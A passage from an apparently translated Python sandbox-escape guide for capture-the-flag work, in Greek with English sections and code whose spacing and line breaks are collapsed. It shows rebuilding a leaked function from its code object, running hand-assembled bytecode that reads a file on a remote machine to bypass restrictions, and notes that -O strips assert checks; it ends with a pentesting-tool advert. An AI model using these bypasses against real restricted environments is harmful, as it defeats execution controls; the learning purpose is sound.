get_flag.__code__.co_names()c.co_names('a','b','f')#co_varnames: Local names used by the bytecode (arguments first, then the local variables)get_flag.__code__.co_varnames('some_input','var1','var2','var3')#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.get_flag.__code__.co_cellvars()#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.get_flag.__code__.co_freevars()#Get bytecodeget_flag.__code__.co_code'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
Σημειώστε ότι αν δεν μπορείτε να εισάγετε το dis στην python sandbox μπορείτε να αποκτήσετε τον bytecode της συνάρτησης (get_flag.func_code.co_code) και να την αποσυναρμολογήσετε τοπικά. Δεν θα δείτε το περιεχόμενο των μεταβλητών που φορτώνονται (LOAD_CONST) αλλά μπορείτε να τις μαντέψετε από (get_flag.func_code.co_consts) επειδή το LOAD_CONST λέει επίσης την απόσταση της μεταβλητής που φορτώνεται.
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε αλλά χρειάζεστε να την εκτελέσετε.
Όπως στο παρακάτω παράδειγμα, μπορείτε να έχετε πρόσβαση στο αντικείμενο κώδικα αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση δεν ξέρετε πώς να υπολογίσετε τη σημαία (φανταστείτε μια πιο σύνθετη συνάρτηση calc_flag)
defget_flag(some_input):var1=1var2="secretcode"var3=["some","array"]defcalc_flag(flag_rot2):return''.join(chr(ord(c)-2) for c in flag_rot2)if some_input == var2:returncalc_flag("VjkuKuVjgHnci")else:return"Nope"
Δημιουργία του αντικειμένου κώδικα
Πρώτα απ' όλα, πρέπει να γνωρίζουμε πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
code_type =type((lambda: None).__code__)# Check the following hint if you get an error in calling thiscode_obj =code_type(co_argcount, co_kwonlyargcount,co_nlocals, co_stacksize, co_flags,co_code, co_consts, co_names,co_varnames, co_filename, co_name,co_firstlineno, co_lnotab, freevars=None,cellvars=None)# Executioneval(code_obj)#Execute as a whole script# If you have the code of a function, execute itmydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")
Ανάλογα με την έκδοση python, οι παράμετροι του code_type μπορεί να έχουν διαφορετική σειρά. Ο καλύτερος τρόπος για να γνωρίζετε τη σειρά των παραμέτρων στην έκδοση python που εκτελείτε είναι να εκτελέσετε:
import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
Αναδημιουργία μιας διαρρεύσουσας συνάρτησης
Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα πραγματικό παράδειγμα, όλες οι τιμές για την εκτέλεση της συνάρτησης code_type είναι αυτές που θα χρειαστεί να διαρρεύσουν.
fc = get_flag.__code__# In a real situation the values like fc.co_argcount are the ones you need to leakcode_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
mydict ={}mydict['__builtins__']=__builtins__function_type(code_obj, mydict, None, None, None)("secretcode")#ThisIsTheFlag
Bypass Defenses
In previous examples at the beginning of this post, you can see how to execute any python code using the compile function. This is interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF machine (for example because we don't have the compiled function in the CTF).
For example, let's compile and execute manually a function that reads ./poc.py:
#On Remotefunction_type =type(lambda: None)code_type =type((lambda: None).__code__)#Get <type 'type'>consts = (None,"./poc.py",'r')bytecode ='t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'names = ('open','read')# And execute it using eval/execeval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))#You could also execute it directlymydict ={}mydict['__builtins__']=__builtins__codeobj =code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())function_type(codeobj, mydict, None, None, None)()
Αν δεν μπορείτε να αποκτήσετε πρόσβαση στο eval ή exec, μπορείτε να δημιουργήσετε μια κατάλληλη συνάρτηση, αλλά η άμεση κλήση της συνήθως θα αποτύχει με: ο κατασκευαστής δεν είναι προσβάσιμος σε περιορισμένη λειτουργία. Έτσι, χρειάζεστε μια συνάρτηση που δεν είναι στο περιορισμένο περιβάλλον για να καλέσετε αυτή τη συνάρτηση.
Ο Python που εκτελείται με βελτιστοποιήσεις με την παράμετρο -O θα αφαιρέσει τις δηλώσεις assert και οποιονδήποτε κώδικα που είναι υπό όρους στην τιμή του debug.
Επομένως, οι έλεγχοι όπως
defcheck_permission(super_user):try:assert(super_user)print("\nYou are a super user\n")exceptAssertionError:print(f"\nNot a Super User!!!\n")
Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο. Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.